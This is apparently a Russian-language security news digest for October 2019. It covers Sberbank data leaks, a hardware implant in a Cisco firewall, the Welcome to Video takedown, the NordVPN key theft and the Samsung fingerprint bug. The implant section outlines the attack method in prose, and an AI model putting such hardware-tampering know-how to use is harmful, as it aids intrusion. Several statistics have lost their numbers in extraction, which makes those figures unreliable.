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УТЕЧКИ СБЕРБАНКА
В  октябре  СМИ  писали  сра зу  о  нес коль ких  утеч ках  дан ных,  зат ронув ших
Сбер банк.  Все  началось  с  того,  что  изда ние  «Ком мерсант»  сооб щило:
на чер ном рын ке про дают ся дан ные кли ентов Сбер банка, вклю чая информа‐ 
цию о 60 мил лионах карт (как дей ству ющих, так и зак рытых, ведь в нас тоящее
вре мя у бан ка око ло 18 мил лионов активных карт).

По информа ции изда ния, утеч ка мог ла про изой ти в кон це августа текуще‐ 
го года и ока залась одной из круп ней ших в рос сий ском бан ков ском сек торе. 
Пред ста вите ли Сбер банка приз нали  утеч ку дан ных,  но сна чала  заяви ли,  что
проб лема кос нулась  толь ко 200 человек  (имен но столь ко в  качес тве  «фраг‐ 
мента для озна ком ления» пре дос тавил про давец похищен ной БД).

Од новре мен но с этим ста ло извес тно о завер шении внут ренне го рас сле‐ 
дова ния,  про веден ного  служ бой  безопас ности  Сбер банка  и  пра воох‐ 
ранитель ными  орга нами.  Про вер ка  выяви ла,  что  сот рудник  1991  года  рож‐ 
дения, руково дитель сек тора в одном из биз нес‐под разде лений бан ка, имел
дос туп  к  базам  дан ных  и  попытал ся  похитить  кли ент скую  информа цию
в корыс тных целях. Этот сот рудник уже дал приз натель ные показа ния, и пра‐ 
воох ранитель ные орга ны с ним работа ют.

Но затем, 7 октября 2019 года, в Сбер банке сооб щили о допол нитель ных
фак тах, выяв ленных в ходе рас сле дова ния. Ста ло извес тно, что в кон це сен‐ 
тября 2019 года сот рудник, совер шивший прес тупле ние, нес коль кими тран‐ 
шами  про дал  одной  из  прес тупных  групп  в  дар кне те  в  совокуп‐ 
ности  5000  учет ных  записей  кре дит ных  карт  Ураль ско го  бан ка  Сбер банка,
зна читель ное  количес тво  которых  были  уста рев шими  и  неак тивны ми.  Под‐ 
черки валось,  что  в  нас тоящее  вре мя  ском про мети рован ные  кар ты  уже
перевы пуще ны и угро зы для средств кли ентов нет.

«Ком мерсант»  сооб щал,  что  за  нес коль ко  часов  до  появ ления  это го
пресс‐релиза в откры том дос тупе дей стви тель но была обна руже на еще одна
БД  дер жателей  кре дит ных  карт,  на  что  обра тил  вни мание  осно ватель  ком‐ 
пании  DeviceLock  Ашот Ога несян. Жур налис ты  изу чили  эту  базу  и  под твер‐ 
дили,  что  это  новая  часть  утеч ки,  час тично  приз нанной  Сбер банком.  Хуже
того,  в  сво бод ном дос тупе рас простра няет ся еще нес коль ко баз  кре дит ных
карт, но мень шего объ ема (на 500 и 300 кли ентов с похожей струк турой дан‐ 
ных). Одна  из БД име ет  1999  строк,  из  которых  1709  отно сят ся  к  активным
кар там, еще 290 — к зак рытым.

В свою оче редь, «Ведомос ти» цитиро вали руково дите ля отде ла ана лити ки
SearchInform Алек сея Пар фенть ева: «Это абсо лют но нор маль ная прак тика —
при про дажах баз дан ных для демонс тра ции ски дывать в дос туп неболь шой
кусочек выг рузки. Проб лема в том, что Сбер банк очень ско ропос тижно решил
сде лать  выводы  по  кусоч ку  с  дан ными  о  200  кли ентах,  который  был  опуб‐ 
ликован, пусть и в теневом интерне те». Но, пос коль ку теперь в откры тый дос‐ 
туп  попали  дан ные  еще  нес коль ких  тысяч  карт,  эксперт  полага ет,  что  либо
банк  поп росту  не  зна ет,  сколь ко  дан ных  утек ло  в  дей стви тель нос ти,  либо
резуль таты рас сле дова ния умал чива ются.

Ка залось  бы,  с  проб лемой  разоб рались,  но  в  кон це  месяца  все  тот  же
«Ком мерсант»  сооб щил,  что  у  Сбер банка  про изош ла  еще  одна  утеч ка.
На  этот  раз  в  Сети  появи лась  БД,  содер жащая  пер сональ ные  дан ные  кли‐ 
ентов  Сбер банка,  но  так же  покупа телям  дам па  пред лагали  и  запись  пос‐ 
ледне го раз говора поль зовате ля с кол‐цен тром бан ка.

По информа ции жур налис тов, БД появи лась в про даже на сетевом чер ном
рын ке  13  октября  текуще го  года.  Один  из  про дав цов  утвер ждал,  что  рас‐ 
полага ет базой дан ных кли ентов бан ка, име ющих кре диты или кре дит ные кар‐ 
ты.  Дамп  содер жит  мил лион  строк  с  пол ными  дан ными  (пас порт,  про пис ка,
адре са  про жива ния,  телефо ны,  сче та,  сум ма  остатка  или  задол женнос ти),
соб ранны ми с 2015 года до недав него вре мени (за три недели октября база
попол нилась на 19 283 стро ки).

Ин форма ция про дава лась в любом объ еме, то есть покупа тель мог даже
наз вать  инте ресу ющие  его  кри терии,  по  которым  будет  сфор мирова на
выбор ка, нап ример по реги ону, сум ме на кар те или раз меру дол га. Но наибо‐ 
лее  необыч ной  выг лядела  выг рузка  по  пос ледне му  звон ку  кли ента  в  банк.
Про давец  пред лагал  пре дос тавить  запись  это го  раз говора,  если  таково
будет желание покупа теля.

Жур налис ты  изда ния  свя зались  с  про дав цом  дам па  и  изу чили  проб ный
фраг мент  базы,  содер жащий  дан ные  о  кли ентах,  вышед ших  на  прос рочку
по  кре дитам  и  кре дит ным  кар там.  Судя  по  стол бцу  «ТБ»  (тер ритори аль ный
банк), в выг рузке ока зались дан ные из десяти тер ритори аль ных бан ков (все го
их у Сбер банка один надцать). На некото рых кли ентов при ходит ся нес коль ко
строк,  если  у  них  есть  нес коль ко  дей ству ющих  кре дитов. Судя  по  стол бцам
«Дата обра зова ния прос рочки» и «Количес тво дней прос рочки», дан ные были
выг ружены 25  сен тября. Выг рузка  ауди оза писей,  по  сло вам  про дав ца,  про‐ 
изво дит ся «с рабоче го мес та», то есть в днев ное вре мя. Сам про давец приз‐ 
нался, что выс тупа ет перекуп щиком. Про давал он одну стро ку за 30 руб лей.
По его сло вам, база — это спи сок дол жни ков, прос рочив ших вып латы по кре‐ 
дитам.

Пресс‐служ ба  Сбер банка  отри цает  новую  утеч ку  дан ных.  «В  Сбер банке
и  его  дочер них  ком пани ях  таких  уте чек  пер сональ ных  дан ных  кли ентов
не  было»,  —  заяви ли  в  бан ке.  «Ком мерсант»  цитиро вал  осно вате ля  и  тех‐ 
ничес кого  дирек тора  ком пании  DeviceLock  Ашо та  Ога неся на,  который
полага ет, что дамп тем не менее может быть реаль ным:

«С уче том того что про давец сооб щил о воз можнос ти получить ауди- 
оза писи раз говоров, дан ные, воз можно, утек ли из внеш него кол‑цен- 
тра,  обес печива юще го  работу  с  дол жни ками»,  —  пред положил  Ога- 
несян.

Так же проб ный фраг мент базы при обре ли и изу чили жур налис ты «Известий»,
убе див шись в его под линнос ти при помощи при ложе ния «Сбер банк Онлайн»,
где при перево де по номеру телефо на мож но уви деть имя, отчес тво и пер вую
бук ву  фамилии  получа теля.  По  дан ным  изда ния,  дамп  содер жал  информа‐ 
цию 11 500 граж дан, брав ших кре дит в Сбер банке.

ДРУ ГИЕ УТЕЧ КИ ЭТО ГО МЕСЯЦА

Эк спер ты обна ружи ли в откры том дос тупе налого вую информа цию 20 мил лионов рос сиян

СМИ сооб щили об утеч ке дан ных 8,7 мил лиона кли ентов «Билайн»

Из‐за взло ма кар дер ско го сай та BriansClub про изош ла утеч ка 26 мил лионов бан ков ских карт

Adobe оста вила в откры том дос тупе дан ные 7 500 000 поль зовате лей Adobe Creative Cloud

Банк UniCredit сооб щил об утеч ке дан ных 3 000 000 кли ентов

 ПРО МЫШ ЛЕННЫХ ПРЕД ПРИ ЯТИЙ ИСПОЛЬ ЗУЮТ
СТА РЫЕ ОС
62%

Эк спер ты ком пании CyberX собира ли дан ные более чем из   сетей сво их кли ентов по все му
миру  с  октября  2018  года  по  октябрь  2019  года. Получен ная  таким обра зом  ста тис тика  ока‐ 
залась  весь ма  удру чающей:  более    сетей  на  про мыш ленных  пред при ятиях  до  сих  пор
содер жат  устрой ства,  работа ющие  под  управле нием  уста рев ших  опе раци онных  сис тем  (Win‐
dows XP и Windows 2000).
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60%

Ес ли  при бавить  сюда  еще  и  Windows  7,  чья  под дер жка  тоже  закан чива ется  сов сем  ско ро,
в янва ре 2020 года, то этот показа тель сос тавит уже  .71%

На ибо лее  защищен ными  пред при ятиями,  про демонс три ровав шими  наилуч шие  резуль таты,
ока зались ком пании неф тегазо вого и энер гетичес кого сек тора.

ЖУЧОК В CISCO
Прош ло боль ше года с тех пор, как изда ние Bloomberg  ,
рас ска зыва ющую об аппа рат ных «зак ладках», которые яко бы были обна руже‐ 
ны на сер верных пла тах Supermicro и поз волили китай ским хакерам ском про‐ 
мети ровать их.

опуб ликова ло статью

Так  как  это  обо рудо вание  исполь зуют  круп ные  тех ничес кие  ком пании,
вклю чая  Apple  и  Amazon,  раз разил ся  гран диоз ный  скан дал.  Пред ста вите ли
Amazon  и  Apple  пос пешили  катего ричес ки  опро вер гнуть  заяв ления
Bloomberg, и даже АНБ сооб щило, что это была «лож ная тре вога». В ито ге вся
эта исто рия удос тоилась сра зу двух наг рад Pwnie:  как «самый перехай плен‐ 
ный баг» и «самый круп ный epic fail».

И хотя сооб щения Bloomberg так и не наш ли никаких под твержде ний, воз‐ 
можность  соз дания  подоб ных  «зак ладок»,  конеч но,  нель зя  пол ностью  сбра‐ 
сывать со сче тов. Так, спе циалист  ком пании FoxGuard Мон та Элкинс  (Monta
Elkins) решил про демонс три ровать, что в этом нет ничего слож ного. Резуль‐ 
таты  сво ей  работы  он  пред ста вил  на  кон ферен ции  CS3STHLM  в  кон це
октября, а до это го поделил ся с изда нием Wired.

Для  внед рения жуч ка  в  бран дма уэр Cisco Элкинсу  понадо бились:  паяль‐ 
ная  стан ция  за  150  дол ларов,  мик роскоп  за  40  дол ларов,  нес коль ко  мик‐ 
росхем за 2 дол лара. Все это он заказал онлайн.

«Нам кажет ся,  что все это какая‑то магия, но на самом деле это не
так уж слож но, — рас ска зыва ет Элкинс. — Про демонс три ровав людям
железо,  я  хочу  сде лать  все  это  более  реалис тичным.  Это  не  магия.
Это  не  невоз можно. Я мог  бы  сде лать  это  в  сво ем под вале. И  есть
мно го  людей  умнее  меня,  которые  могут  сде лать  такое  прак тичес ки
из ничего».

Для  соз дания  сво ей  «зак ладки»  Элкинс  исполь зовал  мини атюр ный  чип  AT‐
tiny85,  который он нашел на Digispark Arduino  за 2 дол лара. Записав на  чип
собс твен ный код, Элкинс снял его с пла ты Digispark и при паял к материн ской
пла те  бран дма уэра  Cisco  ASA  5505.  Для  раз мещения  чипа  он  исполь зовал
незамет ное  мес то,  которое  не  тре бова ло  допол нитель ных  кон тактов  и  поз‐ 
воляло получить дос туп к COM‐пор ту.

По  при веден ной  ниже  иллюс тра ции  мож но  понять,  нас коль ко  слож но
будет заметить такой «лиш ний» чип на пла те, даже при отно ситель но неболь‐ 
ших раз мерах ASA 5505 (6 на 7 дюй мов). Элкинс пред полага ет, что он мог бы
исполь зовать  чип  еще  мень шего  раз мера,  но  выб рал  ATtiny85,  что бы
упростить ту часть экспе римен та, что была свя зана с прог рамми рова нием.

Эл кинс  зап рограм мировал  свой жучок  на  ата ку  сра зу  пос ле  того,  как  бран‐ 
дма уэр  будет  раз мещен  и  вклю чен  в  дата‐цен тре  цели.  Чип  выда ет  себя
за  адми нис тра тора,  который  обра щает ся  к  нас трой кам  бран дма уэра,  под‐ 
клю чая  компь ютер нап рямую к пор ту. Затем чип запус кает фун кцию вос ста‐ 
нов ления  пароля  бран дма уэра,  соз дает  новую  учет ную  запись  адми нис тра‐ 
тора и получа ет дос туп  к  нас трой кам. Пос ле это го  воз можно изме нить нас‐ 
трой ки  бран дма уэра  и  пре дос тавить  зло умыш ленни кам  уда лен ный  дос туп
к устрой ству.

Ис сле дова тель  объ ясня ет,  что  он  исполь зовал  Cisco  ASA  5505  в  сво ем
экспе римен те,  потому  что  бран дма уэр  ока зал ся  самым  дешевым  на  eBay.
Но  ата ка  дол жна  сра ботать  про тив  любого  меж сетево го  экра на  Cisco,
который пред лага ет вос ста нов ление пароля подоб ным обра зом. Спе циалис‐ 
ты Cisco  завери ли,  что  уже  изу чают  иссле дова ние Элкинса  и,  если  понадо‐ 
бит ся, при мут необ ходимые меры.

В  сущ ности,  иссле дова ние  Элкинса  про дол жает  дру гой,  более  ран ний
экспе римент,  про веден ный  незави симым  ИБ‐экспер том  Трем меллом  Хад‐ 
соном  (Trammell Hudson). В прош лом  году на  кон ферен ции Chaos Computer
Conference  тот про демонс три ровал PoC пла ты Supermicro,  на  которой были
вос созда ны  «зак ладки»  китай ских  хакеров,  как  те  были  опи саны  в  статье
Bloomberg. То есть на пла ту был уста нов лен чип с дос тупом к BMC (baseboard
management controller).

При  этом оба  спе циалис та  под черки вают,  что  они  не  пытались  под твер‐ 
дить исто рию Bloomberg о широко рас простра нен ных ата ках на цепоч ку пос‐ 
тавок, и даже не утвер жда ют, что подоб ные ата ки час то встре чают ся в реаль‐ 
нос ти. Так же иссле дова тели отме чают, что тра дици онные соф твер ные ата ки
в боль шинс тве слу чаев сра бота ют ничуть не хуже, пре дос тавив хакерам такой
же  дос туп.  Одна ко  Элкинс  и  Хад сон  доказы вают,  что  аппа рат ный  шпи онаж
с помощью атак на цепоч ку пос тавок — это реаль ность и реали зовать подоб‐ 
ное куда лег че, чем мно гие дума ют.

«Я  хочу,  что бы  люди  приз нали,  что  подоб ные  имплан таты  —  это  не
плод  чьего‑то  вооб ражения.  Они  отно ситель но  прос ты,  —  говорит
Элкинс. — И если мне под силу сде лать такое, зна чит, кто‑то с сот- 
нями мил лионов бюд жета  занима ется  подоб ным  уже  некото рое  вре- 
мя».

ЛОЖ НОЕ ЧУВС ТВО БЕЗОПАС НОСТИ
Глав ный  еван гелист  ком пании  BlackBerry  Брай ан  Робисон  (Brian  Robison)  погово рил  с  жур‐ 
налис тами изда ния Forbes о безопас ности мобиль ных при ложе ний и офи циаль ных магази нов
для Android и iOS, под чер кнув, что механиз мы безопас ности в App Store и Google Play уда лось
обой ти сот ням вре донос ных при ложе ний. Дело в том, что недав но иссле дова тель ская коман да
Cylance под готови ла отчет, сог ласно которо му в офи циаль ные катало ги при ложе ний зачас тую
про ника ет  не  толь ко  раз личная  мал варь,  но  и  шпи онские  «про дук ты»,  соз данные  пра витель‐ 
ствен ными хакера ми.

→ «Люди не так силь но обе рега ют свои мобиль ные устрой ства от вло жения неиз вес тных лич‐ 
ностей,  как  ноут буки  или  нас толь ные  компь юте ры.  Пот ребите ли  испы тыва ют  лож ное  чувс тво
безопас ности по отно шению к офи циаль ным магази нам при ложе ний. Мы живем с этим лож ным
чувс твом,  счи тая,  что  все  пред став ленное  в  магази нах  при ложе ний  безопас но.  Но  лич но  я
не доверяю при ложе ниям. Точ ка. И я бы совето вал поль зовате лям дер жать свое чутье нагото‐ 
ве»
— заявил Брай ан Робисон

ЗАКРЫТИЕ WELCOME
TO VIDEO
Бри тан ское Наци ональ ное агентство по борь бе с прес тупностью и аме рикан‐ 
ское Минис терс тво юсти ции рас ска зали, что им уда лось зак рыть ресурс Wel‐
come to Video — один из круп ней ших сай тов в дар кне те, рас простра няющих
дет ское пор но. В рас сле дова нии, длив шемся нес коль ко лет, при няли учас тие
пра воох ранитель ные  орга ны  Гер мании, Южной  Кореи,  Саудов ской  Ара вии,
ОАЭ и Чеш ской Рес публи ки.

Влас ти  сооб щили  об  изъ ятии  более  вось ми  терабайт  видео  (око‐ 
ло  250  000  виде офай лов),  демонс три рующе го  сек суаль ную  экс плу ата цию
детей. В нас тоящее вре мя сот рудни ки орга низа ции National Center for Missing
&  Exploited  Children  занима ются  ана лизом  этих  видео,  и  уже  извес тно,  что
при мер но  45%  изу чен ных  роликов  —  это  новый  кон тент,  о  сущес тво вании
которо го ранее извес тно не было.

В  США  и  еще  один надца ти  стра нах  мира  уже  были  арес тованы  и  обви‐ 
нены 337 человек,  так или ина че свя зан ных с этим сай том. К при меру, бри‐ 
тан ские пра воох раните ли сооб щают о восем надца ти рас сле дова ниях и семи
осуж денных, один из которых был зак лючен в тюрь му на 22 года за изна сило‐ 
вание пятилет него маль чика и заг рузку на Welcome to Video ролика, который
демонс три ровал сек суаль ное насилие над трех летней девоч кой.

По  информа ции  Минис терс тва  юсти ции  США,  по  мень шей
мере 23 несовер шенно лет ние жер твы прес тупни ков, про жива ющие в Соеди‐ 
нен ных Шта тах, Испа нии и Великоб ритании, были спа сены в резуль тате про‐ 
веден ной опе рации.

Ад минис тра тором  и  соз дателем  Welcome  to  Video,  появив шегося
с 2015 году, выс тупал 23‐лет ний граж данин Южной Кореи Чон Ву Сон (Jong
Woo Son). В нас тоящее вре мя он находит ся в тюрь ме в Южной Корее, где уже
отбы вает дли тель ный тюрем ный срок из‐за сво ей деятель нос ти, но соот ветс‐ 
тву ющие  обви нения  по  девяти  пун ктам  (вклю чая  рас простра нение  изоб‐ 
ражений сек суаль ного насилия над деть ми и отмы вание денег) теперь предъ‐ 
явле ны ему и пра воох раните лями из США.

Сле дова тели  пишут,  что  Welcome  to  Video  был  одним  из  пер вых  сай тов
в  дар кне те,  который  монети зиро вал  сек суаль ную  экс плу ата цию  детей,
исполь зуя  бит кой ны.  Каж дый  поль зователь  сай та  получил  уни каль ный  бит‐ 
койн‐адрес  при  соз дании  учет ной  записи.  По  оцен кам  пра воох ранитель ных
орга нов,  с  сай том  были  свя заны  око ло  мил лиона  таких  кошель ков.  Поль‐ 
зовате ли либо пла тили 0,03 бит кой на за пра ва на ска чива ние кон тента, либо
зараба тыва ли,  заг ружая  на  сайт  новые  матери алы.  За  пери од
с июня 2015 года по март 2018 года (имен но тог да ресурс был зак рыт) через
сайт прош ло 370 тысяч дол ларов в крип товалю те.

Сто ит заметить, что сле дова телям повез ло: на про тяже нии недол гого вре‐ 
мени  сер вер  Welcome  to  Video  был  нас тро ен  неп равиль но,  что  поз волило
выявить  нес коль ко  пуб личных  IP‐адре сов,  свя зан ных  с  сай том.  Но  так же
следс твию  помог ли  упо мяну тые  выше  бит койн‐кошель ки  и  крип товалют ные
тран закции,  изу чени ем  которых  занима лись  аген ты  Налого вого  управле ния
США,  прив лечен ные  к  делу.  В  этом  им  помог ли  инс тру мен ты  ком пании
Chainalysis, пред назна чен ные для ана лиза блок чейн‐тран закций и опре деле‐ 
ния  их  учас тни ков.  Ранее  спе циалис ты  Chainalysis  помога ли  влас тям  в  рас‐ 
сле дова нии деятель нос ти ныне не сущес тву ющей и печаль но извес тной бир‐ 
жи BTC‐e, через которую отмы вали день ги.

Пра воох ранитель ные орга ны называ ют зак рытие Welcome  to Video одной
из круп ней ших и наибо лее отвра титель ных опе раций такого рода.

«Опе рато рам сер висов для ано ними зации, таких как Tor, сто ит спро- 
сить самих себя, дела ют ли они дос таточ но для того, что бы защитить
детей и сде лать свою плат форму неп ригод ной для прес тупни ков», —
ком менти рует  замес титель  генераль ного  про куро ра  США  Ричард
Даунинг.
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Эк спер ты «Лабора тории Кас пер ско го» под готови ли отчет, пос вящен ный активнос ти вре доно сов
для  устрой ств  интерне та  вещей  (IoT).  Для  про веде ния  иссле дова ния  ана лити ки  раз мести ли
более   ханипо тов по все му миру, в сред нем обра баты вающих    заражен ных сес сий
каж дые   минут.
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В пер вой полови не 2019 года ком пания зафик сирова ла более   атак на устрой ства
интерне та вещей с   уни каль ных IP‐адре сов.
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Это в   раз боль ше, чем в ана логич ном пери оде 2018 года: тог да было зафик сирова но око ло
 атак с   IP‐адре сов.
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Рос сия  вош ла  в  пер вую  пятер ку  стран  —  источни ков  зараже ний:  из  нее  исхо дила  при мер но
каж дая девятая ата ка (11%). В этом топе так же ока зались Китай (30%), Бра зилия (19%), Еги пет
(12%) и США (8%).

Ча ще  все го  зло умыш ленни ки  заража ют  сети  умных  устрой ств  для  про веде ния 
или что бы исполь зовать их  .

DDoS-атак
в качес тве прок си‑сер вера

С  янва ря  по  июнь  2019  года  самыми  активны ми  были  семей ства    и  ,  на  них
приш лось  по  .  Треть им  по  рас простра нен ности  с  боль шим  отры вом  ока залось
семей ство   ( ).
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ВЗЛОМ NORDVPN
И TORGUARD
Уже не раз было доказа но на прак тике, что не сто ит рек ламиро вать свой про‐ 
дукт как «нев зла мыва емый». Подоб ные гром кие заяв ления ред ко закан чива‐ 
ются хорошо. Оче ред ным под твержде нием это му стал слу чай с VPN‐про вай‐ 
дером  NordVPN,  раз местив шим  в  Twitter  сме лую  рек ламу,  которая  гла сила,
что  ни  один  хакер  не  смо жет  украсть  онлайн‐жизнь  поль зовате ля,  если  тот
исполь зует VPN.

Из‐за этих нес кром ных заяв лений ком пания не толь ко под вер глась кри тике.
В ответ на это сооб щение ИБ‐спе циалист, извес тный как hexdefined, заметил
в Twitter, что NordVPN был ском про мети рован, так как при ват ные клю чи (в том
чис ле OpenVPN и для сер тифика та офи циаль ного сай та ком пании) похище ны
и пуб лично дос тупны в интерне те.

Хо тя в нас тоящее вре мя срок дей ствия сер тифика та уже истек, закон чившись
в октябре 2018 года, до его исте чения зло умыш ленни ки мог ли соз дать убе‐ 
дитель ный  сайт,  выда ющий  себя  за  NordVPN,  а  так же  исполь зовать  клю чи,
нап ример  для  орга низа ции  MitM‐атак  и  «прос лушива ния»  зашиф рован ных
соеди нений.  Иссле дова тель  при вел  при мер  того,  как  мог  выг лядеть  такой
под дель ный ресурс.

Пос ле  пуб ликации  сооб щения  hexdefined  в  Сети  так же  появи лась 
,  где неиз вес тный еще в мае 2018  года пох валял ся  тем,  что име ет

root‐дос туп к сер верам NordVPN, TorGuard и VikingVPN. Про вай дер OpenVPN
CryptoStorm.is  ,  что  это  поз волило  зло умыш ленни ку  похитить  клю чи
OpenVPN  и  фай лы  кон фигура ции  (это  демонс три рует  изоб ражение  ниже).
Так же в CryptoStorm.is под чер кну ли, что кра жа клю чей мог ла поз волить зло‐ 
умыш ленни ку рас шифро вать тра фик во вре мя взло ма.
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Сог ласно  сооб щению  на  8chan,  взлом щику  так же  уда лось  ском про мети‐ 
ровать TorGuard (похитив сер тификат прок си‐сер вера Squid, клю чи OpenVPN
и фай лы  кон фигура ции)  и  VikingVPN  (похитив  клю чи OpenVPN  и фай лы  кон‐ 
фигура ции).  NordVPN  и  TorGuard  опуб ликова ли  офи циаль ные  заяв ления
о слу чив шемся. Пред ста вите ли VikingVPN пока хра нят мол чание.

Пред ста вите ли NordVPN сооб щили, что инци дент имел мес то еще в мар‐ 
те 2018 года. Тог да один из цен тров обра бот ки дан ных в Фин ляндии, где ком‐ 
пания  арен довала  сер веры,  ока зал ся  дос тупен  без  авто риза ции  (в  нас‐ 
тоящее  вре мя  кон тракт  с  этим  пос тавщи ком  услуг  уже  рас тор гнут).  В  ито ге
дос туп к сер веру дей стви тель но получил зло умыш ленник, «исполь зуя небезо‐ 
пас ную сис тему уда лен ного управле ния».

В  ком пании  уве ряют,  что  ранее  об  этом  инци ден те  не  сооб щали,  так
как  спе циалис ты  дол гое  вре мя  не  зна ли  об  этой  оплошнос ти  пос тавщи ка
услуг,  а  затем  «дол жны  были  убе дить ся,  что  инфраструк тура  не может  быть
под верже на  дру гим  подоб ным  проб лемам».  Соот ветс тву ющая  про вер ка
заняла  мно го  вре мени  «из‐за  огромно го  количес тва  сер веров  и  слож ности
инфраструк туры».  Так же  в  заяв лении  под черки вает ся,  что  дру гие  сер веры
ком пании не пос тра дали, рав но как и учет ные дан ные поль зовате лей.

«Сер вер  не  содер жал  никаких  жур налов  активнос ти  поль зовате лей,
так  как  ни одно из наших при ложе ний не переда ет  учет ные дан ные,
исполь зован ные  для  аутен тифика ции,  поэто му  име на  поль зовате лей
и пароли не мог ли быть перех вачены», — заяв ляют в NordVPN.

Ин терес но,  что,  по  дан ным  изда ния  The  Register,  прош тра фив шимся  ЦОД
была  фин ская  ком пания  Creanova.  И  ее  гла ва  Нико  Вис кари  (Niko  Viskari)
сооб щил жур налис там,  что вина за слу чив шееся пол ностью лежит на самой
NordVPN,  так  как  в  ком пании  не  заб локиро вали  интерфейс  уда лен ного
управле ния, о котором прек расно зна ли и даже исполь зовали. По его сло вам,
у NordVPN были проб лемы с безопас ностью, которые тем не менее ком панию
не вол новали.

В свою оче редь, пред ста вите ли TorGuard под твер дили факт ком про мета‐ 
ции и кра жи сек ретно го клю ча для TLS‐сер тифика та *.torguardvpnaccess.com,
свя зан ного  с  прок си‐сер тифика том  Squid  (который  был  недей стви телен
в сети TorGuard с 2017 года). В ком пании уве ряют, что узна ли о слу чив шемся
толь ко  в мае  2019  года,  тог да  как  взло ман  был  единс твен ный  сер вер,  раз‐ 
мещав ший ся  у  неко его  хос тинг‐пос редни ка,  и  это  про изош ло
еще в 2017 году.

При этом в заяв лении TorGuard под черки вает ся, что ком пания единс твен‐ 
ная из трех пос тра дав ших про вай деров исполь зовала PKI,  то есть основной
ключ CA не раз мещал ся на уяз вимом сер вере и не был укра ден, а похищен‐ 
ный ключ был бес полезен для взлом щиков.

FANCY BEAR АТА КОВА ЛИ УЖЕ   АНТИ ДОПИН ГОВЫХ
ОРГА НИЗА ЦИЙ
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Ана лити ки  ком пании Microsoft  утвер жда ют,  что  рус ско языч ная  хак‐груп па  Fancy Bear  (она же
Strontium  и  APT28)  ата кова ла  как  минимум    анти допин говых  орга низа ций  в  пред две рии
Олим пиады в Токио, которая прой дет в сле дующем году.

16

Fancy  Bear  исполь зовала  обыч ные  для  себя  тех ники:  , 
  (име на  поль зовате лей  переби рают  и  пыта ются  исполь зовать  с  одним  и  тем  же

паролем, наде ясь обна ружить пло хо защищен ную учет ную запись),  ,
а  так же  все воз можную  ,  вклю чая  опен сор сную  и  кас томную.  По  дан ным  Microsoft,
некото рые из этих атак были успешны ми, но далеко не все.

нап равлен ный фишинг password
spraying

ата ки на  IoT-девай сы
мал варь

ПРОБЛЕМЫ
SAMSUNG
СМИ обна ружи ли весь ма стран ную проб лему в Samsung Galaxy S10. Как ока‐ 
залось,  при  исполь зовании  защит ной  плен ки  для  экра на  ска нер  отпе чат ков
паль цев работа ет некор рек тно и устрой ство мож но раз бло киро вать абсо лют‐ 
но любым отпе чат ком.

Пер вым  о  баге  рас ска зало  бри тан ское  изда ние  The  Sun.  Лиза  Ниль сон
получи ла телефон в подарок от мужа и решила защитить экран спе циаль ной
плен кой.  Вско ре  она  обна ружи ла,  что,  хотя  в  биомет ричес ких  нас трой ках
устрой ства  зарегис три рован  толь ко  ее  собс твен ный  отпе чаток  паль ца,
девайс  раз бло киру ется  при  исполь зовании  любого  отпе чат ка.  Так,  раз бло‐ 
киро вать  аппа рат  без  проб лем  сумели  ее  муж  и  сес тра,  хотя  их  отпе чат ки
никог да не регис три рова лись в сис теме.

На пом ню, что Galaxy S10 и S10+ ста ли пер выми смар тфо нами ком пании,
которые соз дают 3D‐модель отпе чат ка паль ца с помощью уль траз вука, а усо‐ 
вер шенс тво ван ный  и  более  надеж ный  ска нер  рас положен  под  дис пле ем
устрой ства.

В ито ге пред ста вите ли Samsung под твер дили, что речь идет не о еди нич‐ 
ном  слу чае  бра ка,  а  о  рас простра нен ной  проб леме,  зат рагива ющей  смар‐ 
тфо ны Galaxy  S10,  S10+,  S10e  и Note10.  В  ком пании  объ ясни ли,  из‐за  чего
воз ника ет баг.

Ока залось,  уль траз вуковые  ска неры  отпе чат ков  в  Galaxy  Note10/10+,
а так же S10 / S10+ / S10 5G некор рек тно вза имо дей ству ют с силико новы ми
нак ладка ми на экран во вре мя соз дания 3D‐модели отпе чат ков. В сущ ности,
ска нер соз давал и  запоми нал не модель отпе чат ка паль ца,  а модель струк‐ 
туры  силико на,  находя щей ся  под  паль цем  поль зовате ля.  Имен но  поэто му
любой,  кто  нажимал  на  силико новую  нак ладку,  мог  раз бло киро вать  устрой‐ 
ство,  ведь  дат чик  «видел»  все  тот  же  зна комый  силикон,  а  не  обна ружи вал
фак тичес кий отпе чаток.

Хо тя патч для проб лемы появил ся весь ма опе ратив но, нес коль ко бан ков,
работа ющих  в  Великоб ритании,  успе ли  вре мен но  при оста новить  услу ги
мобиль ного  бан кинга  для  поль зовате лей  Samsung  Galaxy  S10.  Так,  National
Westminster  Bank  и  Royal  Bank  of  Scotland  отклю чили  свои  при ложе ния
из Google Play Store для кли ентов с телефо нами Samsung Galaxy S10 из сооб‐ 
ражений безопас ности.

Кро ме того, поль зовате ли Reddit из Изра иля сооб щали, что мес тные бан‐ 
ки прос то отклю чили аутен тифика цию с исполь зовани ем отпе чат ков паль цев.
Поль зователь  из  США  жаловал ся,  что  банк  не  поз волил  ему  исполь зовать
Samsung  Pay  в  бан комате,  хотя  неяс но,  было  это  свя зано  с  тех ничес кой
ошиб кой  или  тоже  обус ловле но  решени ем  бан ка  (тран закции  Samsung  Pay
мож но под тверждать с помощью отпе чат ка паль ца).

Поч ти одновре мен но с этим китай ские СМИ сооб щили, что вла дель цы уяз‐ 
вимых  устрой ств  лишились  воз можнос ти  исполь зовать  отпе чат ки  паль цев
для  при ложе ния  Бан ка  Китая,  пла теж ной  сис темы  WeChat  Pay,  при над‐ 
лежащей  китай ско му  тех нологи чес кому  гиган ту  Tencent,  и  популяр ной  плат‐ 
формы мобиль ных пла тежей Alipay, при над лежащей Ant Financial, за которой
сто ит Alibaba.

От метим,  что  это  не  единс твен ная  серь езная  проб лема  с  биомет рией
в этом месяце. Так, в октябре Google пред ста вила смар тфо ны Pixel 4 и Pixel 4
XL, и  , что в Pixel 4 фун кция Face Unlock работа ет даже в том слу чае,
если  у  вла дель ца  устрой ства  зак рыты  гла за.  А  зна чит,  Face  Unlock  могут
исполь зовать третьи лица, даже ког да вла делец смар тфо на спит или находит‐ 
ся в бес созна тель ном сос тоянии.

ока залось

ОТ БЛО КИРО ВОК К ШТРА ФАМ
На шес той Все мир ной кон ферен ции по управле нию интерне том, что недав но прош ла в Учжэ не,
гла ва Рос комнад зора Алек сандр Жаров рас ска зал,  что  рос сий ские  влас ти  намере ны перей ти
от  бло киро вок  к  при мене нию  штра фов,  и  уточ нил,  что  пра вила  дол жны  быть  оди нако выми
для всех: государств, кор пораций, людей.

